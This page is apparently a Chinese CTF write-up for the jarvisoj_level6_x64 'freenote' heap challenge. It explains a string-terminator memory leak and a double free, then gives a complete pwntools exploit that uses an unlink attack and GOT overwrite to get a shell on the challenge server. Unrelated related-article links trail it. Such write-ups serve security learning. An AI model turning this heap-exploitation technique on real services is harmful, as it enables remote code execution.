这道题利用了unlink,unlink的利用原理我已经讲过了,以这个题来实列操作一下,加深对unlink利用的认识

查看保护机制

程序分析

在IDA查看一下主函数

可以看到程序中有四个功能函数,该程序是一个记事本程序,功能上基本就是添加记录、打印列出所有记录、编辑记录、删除记录。简单分析一下各函数的作用。

1、sub_400a49:创建记录索引表,具体就是分配一个大堆,堆里面存了各条记录存储区的指针(看后面分析就知道各条记录都malloc了一个堆来保存)。

2、sub_400998:就是让你输入一个操作选项,没什么好说的,这里没有漏洞可以利用。

3、sub_400bc2:新建记录,进去以后的具体实现就是,让你输入记录内容长度和记录内容,然后检查长度有没有超最大限制,正常就malloc一个存储这条记录的堆块,然后以你输入的长度为标准一个一个把记录内容读进这个堆块。注意malloc堆块时有这样一个操作:

这表示分配堆块的大小是0x80的整数倍。最后就是把这条记录的有关信息写进索引表;

4、sub_400b14:输出功能,遍历索引表,打印所有记录的标号和记录内容,标号从0开始。

5、sub_400d87:编辑功能,依据上述记录标号找到相应记录,然后edit。

6、sub_400f7d:删除功能,仍旧依据上述标号找到相应记录,然后重置其索引表为未使用态,并free掉对应的记录堆块。

索引表数据结构:

head不用管,是索引表大堆块的块首,不属于用户区;

max_size表示能存储的最大的记录数量,exist_num表示已有的记录个数;

再往后就是每三个数据构成一个索引项,索引项的结构体的三个数据分别代表:0/1是指该项有无记录引用,0是没有,1是有记录,size_user是记录的长度,ptr_heap是存储记录的堆块的用户区指针。

漏洞

1、新建记录函数中实现读入记录内容的子函数里面存在漏洞,正常情况下长度为n的字符串,是有包含’x00’结束符在内的n+1个ascii,但是这里并没有把结束符读进来,少了结束符,在打印记录时就不会正确的停下来,也就可以实现内存泄露!

内存泄露用于结合偏移计算heap_base以及system地址。

2、double free漏洞

输入一个标号后,程序并没有检查索引表中标号位置的索引项的第一个成员变量是否已经为0、也没有检查对应索引项的堆指针成员变量指向的堆内存是否已经被free,也就是说,即使这个索引项已经删过记录了,你还可以再删它一次,再像没事儿人一样对ptr_heap再进行一次free,而在程序代码中,free之后并没有将对应堆指针置空,这就对同一堆块free了两次,造成了double free漏洞!

思路

添加四个Note
释放note[0]和note[2],此时note[0]的bk指向note[2]的chunk,note[2]的bk指向main_arena+0x58(两个chunk都进入unsorted bin)
再次添加2个note,payload长度为8,注意结尾不要是\x00
利用list泄露NOTE管理块的地址和libc基地址
将四个note全部删除
添加一个note,长度要能包含进最开始的3个note的chunk
伪造一个chunk,大小为0x80,fd为note[0]-0x18, bk为note[0]-0x10,利用unlink把NOTE管理块中note[0]的地址改为note[0]-0x18
把note]0]改为atoi的got,然后编辑note[0],改为system地址
输入/bin/sh,获取shell

先申请4个chunk,然后free(0)和free(2),防止合并;然后在申请2个chunk,只写入8字节,就可以leak出heap和libc的基地址;
在heap基地址偏移0x30的地方有我们需要的NOTE管理块的地址

exp:

#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *import syscontext.log_level = 'debug'if sys.argv[0]=="l":p=process('./freenote')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')else:p=remote('node3.buuoj.cn',28843)libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')e=ELF('./freenote')def List():p.recvuntil('Your choice: ')p.sendline('1')def new(cont):p.recvuntil('Your choice: ')p.sendline('2')p.recvuntil('Length of new note: ')p.sendline(str(len(cont)))p.recvuntil('Enter your note: ')p.sendline(cont)def edit(num,cont):p.recvuntil('Your choice: ')p.sendline('3')p.recvuntil('Note number: ')p.sendline(str(num))p.recvuntil('Length of note: ')p.sendline(str(len(cont)))p.recvuntil('Enter your note: ')p.sendline(cont)def delete(num):p.recvuntil('Your choice: ')p.sendline('4')p.recvuntil('Note number: ')p.sendline(str(num))new('a'*0x80)new('b'*0x80)new('c'*0x80)new('d'*0x80)delete(0)delete(2)new('11111111')new('22222222')List()p.recvuntil('11111111')s=p.recvuntil('\x0a')chunk2=u64(s[:-1].ljust(8,'\x00'))heap_addr=chunk2-0x1940point_chunk0=heap_addr+0x30print hex(heap_addr)delete(1)delete(2)delete(3)#unlinkpayload = p64(0x90)+p64(0x81)+p64(point_chunk0-0x18)+p64(point_chunk0-0x10) payload +='a'*0x60payload += p64(0x80)+p64(0x90)payload +='c'*0x80+p64(0x90)+p64(0x121)edit(0,payload)delete(1)#free_got->systemfree_got_addr=e.got['free']print hex(free_got_addr)payload2=p64(4)+p64(1)+p64(0x8)+p64(free_got_addr)payload2+=p64(1)+p64(0x8)+p64(chunk2)payload2+=p64(1)+p64(0x8)+p64(e.got['atoi'])payload2+='\x00'*(0x120-80)edit(0,payload2)p.recvuntil('Your choice: Invalid!\n')List()p.recvuntil('2. ')atoi_in_server=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))system_in_server=libc.symbols['system']+atoi_in_server-libc.symbols['atoi']#gdb.attach(proc.pidof(p)[0])payload3=p64(system_in_server)edit(0,payload3)edit(1,"/bin/sh\x00")delete(1)p.interactive()
exp解释

chunk2_bk – 88 = main_arena ,chunk2_bk – 88 – main_arena= libc_base ,其中main_arena = 0x3be760 .

那么 chunk0_bk 减的 0x1940 是怎么得到的呢?heap_base应该是main函数执行后程序分配到的第一个堆的基地址,而程序分配的第一个堆是索引表,IDA结合f5可以看到索引表堆块用户区大小是0x1810,索引表堆块的head占0x10,因此索引表堆块whole_size=0x1820;chunk0_bk指向的是chunk2,索引表堆块和chunk2之间隔了一个chunk0加一个chunk1,因此这块间隔的大小就是(0x10+0x80)*2=0x120;因此chunk0_bk所指向的位置到heap_base的总偏移量就等于0x1820+0x120=0x1940.

参考1:大佬文章
参考2:大佬文章
参考3:大佬文章

jarvisoj_level6_x64(buuctf)--unlink利用相关推荐

  1. Android中堆unlink利用学习

    前言 最近学习了堆的管理,如何进行unlink利用.发现大多数文章在讲解利用unlink进行任意地址写时没有解释得很透彻(也可能是我比较愚钝吧(╯﹏╰)),看得是云里雾里:-(.....直到看到了sh ...

  2. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  3. linux堆上的内存可执行吗,pwn的艺术浅谈(二):linux堆相关

    这是linux pwn系列的第二篇文章,前面一篇文章我们已经介绍了栈的基本结构和栈溢出的利用方式,堆漏洞的成因和利用方法与栈比起来更加复杂,为此,我们这篇文章以shellphish的how2heap为 ...

  4. Heap-Unlink一谈

    前话 原理在这就不说了,很多博主说得都非常的详细,我也是从他们那里学到的.本篇主要就是讲解常见的Unlink利用.主要分为有泄漏操作和无泄漏操作. 有泄漏操作就是能够输出堆中的信息,无泄漏就是不能泄露 ...

  5. unlink-sleepyholder

    unlink(sleepyholder) 题目: hitconctf2016_sleepy_holder(就是进阶版的hitconctf2016_secret_holder) 函数分析: add up ...

  6. buuoj Pwn writeup 186-190

    186 hwb_2019_mergeheap 最多15个chunk. show 正常输出. free free把程序保护的很好. merge 这个里面会有漏洞,因为strcpy,strcat都是以'\ ...

  7. 萌新带你开车上p站(番外篇)

    前言 这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析. 登录 看看源程序 程序中有几点要注意的地方: 1. 定义的OB ...

  8. [漏洞分析] CVE-2022-32250 netfilter UAF内核提权

    [漏洞分析] CVE-2022-32250 netfilter UAF内核提权 文章目录 [漏洞分析] CVE-2022-32250 netfilter UAF内核提权 漏洞简介 环境搭建 漏洞原理 ...

  9. CTF(pwn) 堆利用 之 unlink 介绍

    unlink是链表中常见的操作,而我们需要利用这个过程 通过改变链表指针,使中间堆块拿出来 当前的unlink会有一个对链表的完整性检查的 // 由于 P 已经在双向链表中,所以有两个地方记录其大小, ...

最新文章

  1. C++中extern “C”含义深层探索(zz)
  2. 从零开始一步一步搭建Ubuntu Server服务器、修改数据源、安装Docker、配置镜像加速器、Compose部署Gitlab服务
  3. python神经网络多元函数_阿里达摩院推荐的最新400集python教程,据说懂中文就能上手...
  4. c# 深拷贝各种实现方式
  5. python3-numpy IO load()、save()、savez()、loadtxt()、savetxt()、tofile()、fromfile()
  6. python基本运算符
  7. BZOJ4827: [Hnoi2017]礼物
  8. fuzzy仿真 MATLAB,基于Matlab的Fuzzy-PID控制器的设计与仿真
  9. noip2017提高组初赛c语言,NOIP2017提高组比赛体验篇一(干货)
  10. 关于悟空CRM部署经历--钟艳明
  11. php 扫描条形码,将条形码扫描仪集成到PHP应用程序中?
  12. 迪赛智慧数——柱状图(折柱混合图):应届生薪酬变化趋势
  13. 征途LINUX服务端脚本,征途【改版教程】-版本内脚本文件-转载于-喜欢玩网游单机站...
  14. Unity3D视频教程-传智-专题视频课程
  15. 深度生成模型重塑药物研发【Cell子刊综述】
  16. android自动照相机2.0,Camera2.0下载
  17. 房地产泡沫,经济发展的真正毒瘤
  18. rancher 启动命令_Rancher 中文文档 —— 快速入门指南
  19. 工大助手电费查询接口讲解
  20. VMware Tools的安装

热门文章

  1. angular使用什么样的样式_angular4套用primeng样式
  2. 城市智慧物业水泵房,消防泵房的解决方案
  3. java super object,使用SuperObject访问JSON数组
  4. python调用android的接口_Python写Android接口一步到位
  5. Vue 仿蚂蚁森林能量球生成获取组件
  6. 再推荐Geogebra 5.0.xx一下
  7. python2安装pyyaml_python-2.7 – tox无法在Windows上安装pyYaml
  8. Tessent scan ATPG(2) ATPG basic flow
  9. NCRE - 嵌入式系统开发工程师 – 操作系统(随笔)
  10. php合并多张gif图,两个gif合成在一起,gif图片拼合工具使多张gif合成一张